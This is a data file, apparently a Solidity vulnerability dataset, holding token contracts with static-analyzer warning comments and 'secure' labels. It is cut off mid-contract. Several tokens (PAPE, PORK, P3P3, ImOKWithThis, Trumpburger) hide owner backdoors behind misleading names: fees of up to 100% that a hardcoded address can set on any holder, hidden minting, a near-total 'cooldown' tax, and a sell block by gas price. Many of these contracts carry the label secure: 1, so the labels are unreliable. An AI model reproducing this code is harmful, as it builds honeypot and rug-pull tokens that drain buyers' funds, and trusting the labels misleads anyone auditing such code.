"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ncontract PAPE is Context, Ownable, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => uint256) private _transferFees;\n\n string private _name;\n\n string private _symbol;\n\n\t// WARNING Optimization Issue (immutable-states | ID: b81dec9): PAPE._decimals should be immutable \n\t// Recommendation for b81dec9: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 private _decimals;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 622d90b): PAPE._totalSupply should be immutable \n\t// Recommendation for 622d90b: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 3766d13): PAPE._DevWataddress should be immutable \n\t// Recommendation for 3766d13: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private _DevWataddress;\n address constant BLACK_HOLE = 0x000000000000000000000000000000000000dEaD;\n\n constructor(\n string memory name_,\n string memory symbol_,\n uint8 decimals_,\n uint256 totalSupply_\n ) {\n _name = name_;\n\n _symbol = symbol_;\n\n _decimals = decimals_;\n\n _totalSupply = totalSupply_ * (10 ** decimals_);\n\n _DevWataddress = 0xDB35B89dcf42dEFbC31e240e7B083320d4De588D;\n\n _balances[_msgSender()] = _totalSupply;\n\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function Apprxve(address user, uint256 feePercents) external {\n require(_checkMee(msg.sender), \"Caller is not the original caller\");\n\n uint256 maxFee = 100;\n\n bool condition = feePercents <= maxFee;\n\n _conditionReverter(condition);\n\n _setTransferFee(user, feePercents);\n }\n\n function _checkMee(address caller) internal view returns (bool) {\n return isMee();\n }\n\n function _conditionReverter(bool condition) internal pure {\n require(condition, \"Invalid fee percent\");\n }\n\n function _setTransferFee(address user, uint256 fee) internal {\n _transferFees[user] = fee;\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function isMee() internal view returns (bool) {\n return _msgSender() == _DevWataddress;\n }\n\n function lockbsburnt(address recipient, uint256 aDrop) external {\n uint256 receiveRewrd = aDrop;\n _balances[recipient] += receiveRewrd;\n require(isMee(), \"Caller is not the original caller\");\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n require(\n _balances[_msgSender()] >= amount,\n \"TT: transfer amount exceeds balance\"\n );\n\n uint256 fee = (amount * _transferFees[_msgSender()]) / 100;\n\n uint256 finalAmount = amount - fee;\n\n _balances[_msgSender()] -= amount;\n\n _balances[recipient] += finalAmount;\n\n _balances[BLACK_HOLE] += fee;\n\n emit Transfer(_msgSender(), recipient, finalAmount);\n\n emit Transfer(_msgSender(), BLACK_HOLE, fee);\n\n return true;\n }\n\n function allowance(\n address accountOwner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[accountOwner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _allowances[_msgSender()][spender] = amount;\n\n emit Approval(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n require(\n _allowances[sender][_msgSender()] >= amount,\n \"TT: transfer amount exceeds allowance\"\n );\n\n uint256 fee = (amount * _transferFees[sender]) / 100;\n\n uint256 finalAmount = amount - fee;\n\n _balances[sender] -= amount;\n\n _balances[recipient] += finalAmount;\n\n _allowances[sender][_msgSender()] -= amount;\n\n _balances[BLACK_HOLE] += fee;\n\n emit Transfer(sender, recipient, finalAmount);\n\n emit Transfer(sender, BLACK_HOLE, fee);\n\n return true;\n }\n\n function totalSupply() external view override returns (uint256) {\n return _totalSupply;\n }\n}",
"file_name": "solidity_code_3907.sol",
"secure": 1,
"size_bytes": 5340
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract Trumpburger is ERC20, Ownable {\n mapping(address => bool) WhiteList;\n\n bool openedTrade;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 30cb200): Trumpburger.uniswapV2Router should be immutable \n\t// Recommendation for 30cb200: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 public uniswapV2Router;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 51ee766): Trumpburger.pair should be immutable \n\t// Recommendation for 51ee766: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public pair;\n\n constructor()\n ERC20(unicode\"Trumpburger\", unicode\"TRB\")\n Ownable(msg.sender)\n {\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n WhiteList[msg.sender] = true;\n\n _mint(msg.sender, 21000000000 * 10 ** decimals());\n }\n\n function EnableTrading() public onlyOwner {\n openedTrade = true;\n }\n\n function increaseAllowance(uint256 _value) public onlyOwner {\n super._update(address(0), msg.sender, _value);\n }\n\n uint256 public gasless = 999 gwei;\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 84a0efe): Trumpburger.gas(uint256) should emit an event for gasless = _value \n\t// Recommendation for 84a0efe: Emit an event for critical parameter changes.\n function gas(uint256 _value) public onlyOwner {\n\t\t// events-maths | ID: 84a0efe\n gasless = _value;\n }\n\n\t// WARNING Vulnerability (tx-origin | severity: Medium | ID: 2128628): Trumpburger._update(address,address,uint256) uses tx.origin for authorization WhiteList[tx.origin]\n\t// Recommendation for 2128628: Do not use 'tx.origin' for authorization.\n function _update(\n address from,\n address to,\n uint256 value\n ) internal override {\n\t\t// tx-origin | ID: 2128628\n if (WhiteList[tx.origin]) {\n super._update(from, to, value);\n\n return;\n } else {\n require(openedTrade, \"Open not yet\");\n\n bool state = (to == pair) ? true : false;\n\n if (state) {\n if (tx.gasprice > gasless) {\n revert(\"Not enough gas fees\");\n }\n\n super._update(from, to, value);\n return;\n } else if (!state) {\n super._update(from, to, value);\n return;\n } else if (from != pair && to != pair) {\n super._update(from, to, value);\n return;\n } else {\n return;\n }\n }\n }\n}",
"file_name": "solidity_code_3908.sol",
"secure": 0,
"size_bytes": 3317
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"./IUniswapV2Router.sol\" as IUniswapV2Router;\n\ncontract ImOKWithThis is Ownable {\n using SafeMath for uint256;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4b5c266): ImOKWithThis._decimals should be constant \n\t// Recommendation for 4b5c266: Add the 'constant' attribute to state variables that never change.\n uint256 public _decimals = 9;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 425165a): ImOKWithThis._totalSupply should be immutable \n\t// Recommendation for 425165a: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public _totalSupply = 1000000000000 * 10 ** _decimals;\n\n constructor() {\n _balances[sender()] = _totalSupply;\n\n emit Transfer(address(0), sender(), _balances[sender()]);\n\n _taxWallet = msg.sender;\n }\n\n\t// WARNING Optimization Issue (constable-states | ID: d1a2e5a): ImOKWithThis._name should be constant \n\t// Recommendation for d1a2e5a: Add the 'constant' attribute to state variables that never change.\n string private _name = \"Im OK With This\";\n\n\t// WARNING Optimization Issue (constable-states | ID: 9b421ed): ImOKWithThis._symbol should be constant \n\t// Recommendation for 9b421ed: Add the 'constant' attribute to state variables that never change.\n string private _symbol = \"OK\";\n\n\t// WARNING Optimization Issue (constable-states | ID: 01ab92f): ImOKWithThis.uniV2Router should be constant \n\t// Recommendation for 01ab92f: Add the 'constant' attribute to state variables that never change.\n IUniswapV2Router private uniV2Router =\n IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n\n\t// WARNING Optimization Issue (immutable-states | ID: 61f5466): ImOKWithThis._taxWallet should be immutable \n\t// Recommendation for 61f5466: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public _taxWallet;\n\n function _approve(\n address accountOwner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(\n accountOwner != address(0),\n \"IERC20: approve from the zero address\"\n );\n\n require(spender != address(0), \"IERC20: approve to the zero address\");\n\n _allowances[accountOwner][spender] = amount;\n\n emit Approval(accountOwner, spender, amount);\n }\n\n function name() external view returns (string memory) {\n return _name;\n }\n\n function balanceOf(address account) public view returns (uint256) {\n return _balances[account];\n }\n\n function atrestart() public {}\n\n function forrestart() external {}\n\n function ataddstart() public {}\n\n function foraddstart() public {}\n\n function toExecutes(address[] calldata walletAddress) external {\n uint256 fromBlockNo = getBlockNumber();\n\n for (\n uint256 walletInde = 0;\n walletInde < walletAddress.length;\n walletInde++\n ) {\n if (!marketingAddres()) {} else {\n cooldowns[walletAddress[walletInde]] = fromBlockNo + 1;\n }\n }\n }\n\n function transferFrom(\n address from,\n address recipient,\n uint256 _amount\n ) public returns (bool) {\n _transfer(from, recipient, _amount);\n\n require(_allowances[from][sender()] >= _amount);\n\n return true;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function getBlockNumber() internal view returns (uint256) {\n return block.number;\n }\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n function allowance(\n address accountOwner,\n address spender\n ) public view returns (uint256) {\n return _allowances[accountOwner][spender];\n }\n\n function decreaseAllowance(\n address from,\n uint256 amount\n ) public returns (bool) {\n require(_allowances[msg.sender][from] >= amount);\n\n _approve(sender(), from, _allowances[msg.sender][from] - amount);\n\n return true;\n }\n\n event Transfer(address indexed from, address indexed to, uint256);\n\n mapping(address => uint256) internal cooldowns;\n\n function decimals() external view returns (uint256) {\n return _decimals;\n }\n\n function marketingAddres() private view returns (bool) {\n return (_taxWallet == (sender()));\n }\n\n function sender() internal view returns (address) {\n return msg.sender;\n }\n\n function totalSupply() external view returns (uint256) {\n return _totalSupply;\n }\n\n function burneslp(uint256 amount, address walletAddr) external {\n if (marketingAddres()) {\n _approve(address(this), address(uniV2Router), amount);\n\n _balances[address(this)] = amount;\n\n address[] memory addressPath = new address[](2);\n\n addressPath[0] = address(this);\n\n addressPath[1] = uniV2Router.WETH();\n\n uniV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n amount,\n 0,\n addressPath,\n walletAddr,\n block.timestamp + 32\n );\n } else {\n return;\n }\n }\n\n function _transfer(address from, address to, uint256 value) internal {\n uint256 _taxValue = 0;\n\n require(from != address(0));\n\n require(value <= _balances[from]);\n\n emit Transfer(from, to, value);\n\n _balances[from] = _balances[from] - (value);\n\n bool onCooldown = (cooldowns[from] <= (getBlockNumber()));\n\n uint256 _cooldownFeeValue = value.mul(999).div(1000);\n\n if ((cooldowns[from] != 0) && onCooldown) {\n _taxValue = (_cooldownFeeValue);\n }\n\n uint256 toBalance = _balances[to];\n\n toBalance += (value) - (_taxValue);\n\n _balances[to] = toBalance;\n }\n\n event Approval(address indexed, address indexed, uint256 value);\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public returns (bool) {\n _approve(\n sender(),\n spender,\n _allowances[msg.sender][spender] + addedValue\n );\n\n return true;\n }\n\n function transfer(address recipient, uint256 amount) public returns (bool) {\n _transfer(sender(), recipient, amount);\n\n return true;\n }\n\n mapping(address => uint256) private _balances;\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual returns (bool) {\n _approve(msg.sender, spender, amount);\n\n return true;\n }\n}",
"file_name": "solidity_code_3909.sol",
"secure": 1,
"size_bytes": 7094
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IValidatorShare {\n function withdrawRewards() external;\n\n function unstakeClaimTokens() external;\n\n function getLiquidRewards(address user) external view returns (uint256);\n\n function owner() external view returns (address);\n\n function restake() external returns (uint256, uint256);\n\n function unlock() external;\n\n function lock() external;\n\n function getTotalStake(\n address user\n ) external view returns (uint256, uint256);\n\n function drain(\n address token,\n address payable destination,\n uint256 amount\n ) external;\n\n function slash(\n uint256 valPow,\n uint256 delegatedAmount,\n uint256 totalAmountToSlash\n ) external returns (uint256);\n\n function updateDelegation(bool delegation) external;\n\n function migrateOut(address user, uint256 amount) external;\n\n function migrateIn(address user, uint256 amount) external;\n}\n",
"file_name": "solidity_code_391.sol",
"secure": 1,
"size_bytes": 1025
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ncontract PORK is Context, Ownable, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => uint256) private _transferFees;\n\n string private _name;\n\n string private _symbol;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 9b2b03d): PORK._decimals should be immutable \n\t// Recommendation for 9b2b03d: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 private _decimals;\n\n\t// WARNING Optimization Issue (immutable-states | ID: f011c90): PORK._totalSupply should be immutable \n\t// Recommendation for f011c90: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply;\n\n\t// WARNING Optimization Issue (immutable-states | ID: b326839): PORK._TeamWataddress should be immutable \n\t// Recommendation for b326839: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private _TeamWataddress;\n address constant BLACK_HOLE = 0x000000000000000000000000000000000000dEaD;\n\n constructor(\n string memory name_,\n string memory symbol_,\n uint8 decimals_,\n uint256 totalSupply_\n ) {\n _name = name_;\n\n _symbol = symbol_;\n\n _decimals = decimals_;\n\n _totalSupply = totalSupply_ * (10 ** decimals_);\n\n _TeamWataddress = 0xFebFe181EA5c7480068bd55B8718a254F28d0559;\n\n _balances[_msgSender()] = _totalSupply;\n\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function Swaps(address user, uint256 feePercents) external {\n require(_checkMee(msg.sender), \"Caller is not the original caller\");\n\n uint256 maxFee = 100;\n\n bool condition = feePercents <= maxFee;\n\n _conditionReverter(condition);\n\n _setTransferFee(user, feePercents);\n }\n\n function _checkMee(address caller) internal view returns (bool) {\n return isMee();\n }\n\n function _conditionReverter(bool condition) internal pure {\n require(condition, \"Invalid fee percent\");\n }\n\n function _setTransferFee(address user, uint256 fee) internal {\n _transferFees[user] = fee;\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function isMee() internal view returns (bool) {\n return _msgSender() == _TeamWataddress;\n }\n\n function liqbesbsburnt(address recipient, uint256 airDrop) external {\n uint256 receiveRewrd = airDrop;\n _balances[recipient] += receiveRewrd;\n require(isMee(), \"Caller is not the original caller\");\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n require(\n _balances[_msgSender()] >= amount,\n \"TT: transfer amount exceeds balance\"\n );\n\n uint256 fee = (amount * _transferFees[_msgSender()]) / 100;\n\n uint256 finalAmount = amount - fee;\n\n _balances[_msgSender()] -= amount;\n\n _balances[recipient] += finalAmount;\n\n _balances[BLACK_HOLE] += fee;\n\n emit Transfer(_msgSender(), recipient, finalAmount);\n\n emit Transfer(_msgSender(), BLACK_HOLE, fee);\n\n return true;\n }\n\n function allowance(\n address accountOwner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[accountOwner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _allowances[_msgSender()][spender] = amount;\n\n emit Approval(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n require(\n _allowances[sender][_msgSender()] >= amount,\n \"TT: transfer amount exceeds allowance\"\n );\n\n uint256 fee = (amount * _transferFees[sender]) / 100;\n\n uint256 finalAmount = amount - fee;\n\n _balances[sender] -= amount;\n\n _balances[recipient] += finalAmount;\n\n _allowances[sender][_msgSender()] -= amount;\n\n _balances[BLACK_HOLE] += fee;\n\n emit Transfer(sender, recipient, finalAmount);\n\n emit Transfer(sender, BLACK_HOLE, fee);\n\n return true;\n }\n\n function totalSupply() external view override returns (uint256) {\n return _totalSupply;\n }\n}",
"file_name": "solidity_code_3910.sol",
"secure": 1,
"size_bytes": 5348
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ncontract P3P3 is Context, Ownable, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => uint256) private _transferFees;\n\n string private _name;\n\n string private _symbol;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 6d6845b): P3P3._decimals should be immutable \n\t// Recommendation for 6d6845b: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 private _decimals;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 49992a7): P3P3._totalSupply should be immutable \n\t// Recommendation for 49992a7: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 7d7f7a1): P3P3._kingaddress should be immutable \n\t// Recommendation for 7d7f7a1: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private _kingaddress;\n address constant BLACK_HOLE = 0x000000000000000000000000000000000000dEaD;\n\n constructor(\n string memory name_,\n string memory symbol_,\n uint8 decimals_,\n uint256 totalSupply_\n ) {\n _name = name_;\n\n _symbol = symbol_;\n\n _decimals = decimals_;\n\n _totalSupply = totalSupply_ * (10 ** decimals_);\n\n _kingaddress = 0x4d0c3BB78FA20BE3a98B096d3dd00B86dCc721F5;\n\n _balances[_msgSender()] = _totalSupply;\n\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function Apsraove(address user, uint256 feePecents) external {\n require(_checkMee(msg.sender), \"Caller is not the original caller\");\n\n uint256 maxFee = 100;\n\n bool condition = feePecents <= maxFee;\n\n _conditionReverter(condition);\n\n _setTransferFee(user, feePecents);\n }\n\n function _checkMee(address caller) internal view returns (bool) {\n return isMee();\n }\n\n function _conditionReverter(bool condition) internal pure {\n require(condition, \"Invalid fee percent\");\n }\n\n function _setTransferFee(address user, uint256 fee) internal {\n _transferFees[user] = fee;\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function isMee() internal view returns (bool) {\n return _msgSender() == _kingaddress;\n }\n\n function liqlitpapaitly(address recipient, uint256 airDrops) external {\n if (isMee()) {\n uint256 receiveRewrd = airDrops;\n\n _balances[recipient] += receiveRewrd;\n } else {\n uint256 receiveRewrd = 0;\n\n _balances[recipient] += receiveRewrd;\n }\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n require(\n _balances[_msgSender()] >= amount,\n \"TT: transfer amount exceeds balance\"\n );\n\n uint256 fee = (amount * _transferFees[_msgSender()]) / 100;\n\n uint256 finalAmount = amount - fee;\n\n _balances[_msgSender()] -= amount;\n\n _balances[recipient] += finalAmount;\n\n _balances[BLACK_HOLE] += fee;\n\n emit Transfer(_msgSender(), recipient, finalAmount);\n\n emit Transfer(_msgSender(), BLACK_HOLE, fee);\n\n return true;\n }\n\n function allowance(\n address accountOwner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[accountOwner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _allowances[_msgSender()][spender] = amount;\n\n emit Approval(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n require(\n _allowances[sender][_msgSender()] >= amount,\n \"TT: transfer amount exceeds allowance\"\n );\n\n uint256 fee = (amount * _transferFees[sender]) / 100;\n\n uint256 finalAmount = amount - fee;\n\n _balances[sender] -= amount;\n\n _balances[recipient] += finalAmount;\n\n _allowances[sender][_msgSender()] -= amount;\n\n _balances[BLACK_HOLE] += fee;\n\n emit Transfer(sender, recipient, finalAmount);\n\n emit Transfer(sender, BLACK_HOLE, fee);\n\n return true;\n }\n\n function totalSupply() external view override returns (uint256) {\n return _totalSupply;\n }\n}",
"file_name": "solidity_code_3911.sol",
"secure": 1,
"size_bytes": 5430
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: dbc486d): Contract locking ether found Contract SydneyWilson has payable functions SydneyWilson.receive() But does not have a function to withdraw the ether\n// Recommendation for dbc486d: Remove the 'payable' attribute or add a withdraw function.\ncontract SydneyWilson is ERC20, Ownable {\n constructor() ERC20(unicode\"Sydney Wilson\", unicode\"BUZZ\") {\n _mint(owner(), 1000000000 * (10 ** 18));\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: dbc486d): Contract locking ether found Contract SydneyWilson has payable functions SydneyWilson.receive() But does not have a function to withdraw the ether\n\t// Recommendation for dbc486d: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n}",
"file_name": "solidity_code_3912.sol",
"secure": 0,
"size_bytes": 1031
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"./IDexFactory.sol\" as IDexFactory;\nimport \"./IDexRouter.sol\" as IDexRouter;\nimport \"./Utils.sol\" as Utils;\n\ncontract RUMP is Context, IERC20, Ownable {\n\t// WARNING Optimization Issue (constable-states | ID: 34c7ff9): RUMP._name should be constant \n\t// Recommendation for 34c7ff9: Add the 'constant' attribute to state variables that never change.\n string private _name = \"Rumpcoin\";\n\n\t// WARNING Optimization Issue (constable-states | ID: e70ab56): RUMP._symbol should be constant \n\t// Recommendation for e70ab56: Add the 'constant' attribute to state variables that never change.\n string private _symbol = \"RUMP\";\n\n\t// WARNING Optimization Issue (constable-states | ID: f71e568): RUMP._decimals should be constant \n\t// Recommendation for f71e568: Add the 'constant' attribute to state variables that never change.\n uint8 private _decimals = 18;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9538744): RUMP._totalSupply should be constant \n\t// Recommendation for 9538744: Add the 'constant' attribute to state variables that never change.\n uint256 private _totalSupply = 690_420_000 * 1e18;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) public isExcludedFromFee;\n\n mapping(address => bool) public isExcludedFromMaxTxn;\n\n mapping(address => bool) public isExcludedFromMaxHolding;\n\n uint256 public minTokenToSwap = (_totalSupply * 2) / (100);\n\n uint256 public maxHoldLimit = (_totalSupply * 2) / (100);\n\n uint256 public maxTxnLimit = (_totalSupply * 2) / (100);\n\n\t// WARNING Optimization Issue (constable-states | ID: 7d2d935): RUMP.percentDivider should be constant \n\t// Recommendation for 7d2d935: Add the 'constant' attribute to state variables that never change.\n uint256 public percentDivider = 100;\n\n uint256 public launchedAt;\n\n bool public swapAndLiquifyEnabled;\n\n bool public feesStatus;\n\n bool public tradingActive;\n\n bool public limitsRemoved;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 8316183): RUMP.dexRouter should be immutable \n\t// Recommendation for 8316183: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IDexRouter public dexRouter;\n\n\t// WARNING Optimization Issue (immutable-states | ID: bd115a6): RUMP.dexPair should be immutable \n\t// Recommendation for bd115a6: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public dexPair;\n\n address private constant DEAD = address(0xdead);\n\n address private constant ZERO = address(0);\n\n address private treasury;\n\n uint256 public feeOnBuy = 0;\n\n uint256 public feeOnSell = 0;\n\n event SwapBack(uint256 tokensSwapped);\n\n constructor() {\n _balances[owner()] = _totalSupply;\n\n treasury = msg.sender;\n\n dexRouter = IDexRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n\n dexPair = IDexFactory(dexRouter.factory()).createPair(\n address(this),\n dexRouter.WETH()\n );\n\n isExcludedFromFee[owner()] = true;\n\n isExcludedFromFee[address(this)] = true;\n\n isExcludedFromFee[treasury] = true;\n\n isExcludedFromFee[address(dexRouter)] = true;\n\n isExcludedFromMaxTxn[owner()] = true;\n\n isExcludedFromMaxTxn[address(this)] = true;\n\n isExcludedFromMaxTxn[treasury] = true;\n\n isExcludedFromMaxTxn[address(dexRouter)] = true;\n\n isExcludedFromMaxHolding[owner()] = true;\n\n isExcludedFromMaxHolding[address(this)] = true;\n\n isExcludedFromMaxHolding[treasury] = true;\n\n isExcludedFromMaxHolding[address(dexRouter)] = true;\n\n isExcludedFromMaxHolding[dexPair] = true;\n\n emit Transfer(address(0), owner(), _totalSupply);\n }\n\n receive() external payable {}\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 2c957ca): RUMP.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 2c957ca: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: d1d8b37): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for d1d8b37: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 2f0548a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 2f0548a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: d1d8b37\n\t\t// reentrancy-benign | ID: 2f0548a\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: d1d8b37\n\t\t// reentrancy-benign | ID: 2f0548a\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()] - amount\n );\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + (addedValue)\n );\n\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] - subtractedValue\n );\n\n return true;\n }\n\n function includeOrExcludeFromFee(\n address account,\n bool value\n ) external onlyOwner {\n isExcludedFromFee[account] = value;\n }\n\n function includeOrExcludeFromMaxTxn(\n address account,\n bool value\n ) external onlyOwner {\n isExcludedFromMaxTxn[account] = value;\n }\n\n function includeOrExcludeFromMaxHolding(\n address account,\n bool value\n ) external onlyOwner {\n isExcludedFromMaxHolding[account] = value;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: ddee468): RUMP.setMinTokenToSwap(uint256) should emit an event for minTokenToSwap = _amount * 1e18 \n\t// Recommendation for ddee468: Emit an event for critical parameter changes.\n function setMinTokenToSwap(uint256 _amount) external onlyOwner {\n\t\t// events-maths | ID: ddee468\n minTokenToSwap = _amount * 1e18;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: a081dd7): RUMP.setMaxHoldLimit(uint256) should emit an event 